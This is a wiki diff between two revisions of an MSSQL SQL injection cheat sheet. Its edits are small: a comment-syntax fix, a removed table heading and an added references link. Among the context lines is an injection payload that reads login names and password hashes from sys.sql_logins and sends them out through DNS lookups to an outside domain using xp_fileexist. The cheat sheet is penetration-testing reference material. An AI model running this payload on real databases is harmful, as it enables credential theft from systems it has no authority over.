Differences

This shows you the differences between two versions of the page.

--- hacking:sql_injection_cheat_sheet_mssql [2020/04/01 09:58] – peter
+++ hacking:sql_injection_cheat_sheet_mssql [2020/07/15 09:30] (current) – external edit 127.0.0.1
@@ Line 51: / Line 51: @@
 </code>|
 |ASCII Value -> Char|SELECT char(0x41) -- returns A|
-|Char -> ASCII Value|SELECT ascii('A') - returns 65|
+|Char -> ASCII Value|SELECT ascii('A') -- returns 65|
 |Casting|<code>
 SELECT CAST('1' as int);
@@ Line 65: / Line 65: @@
 declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005
-</code>|
-|Make DNS Requests|<code>
 -- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
 -- Also check out theDNS tunnel feature of [[http://sqlninja.sourceforge.net/sqlninja-howto.html|sqlninja]]
@@ Line 96: / Line 95: @@
 tempdb
 </code>|
+----
+===== References =====
+https://www.michaelboman.org/books/sql-injection-cheat-sheet-mssql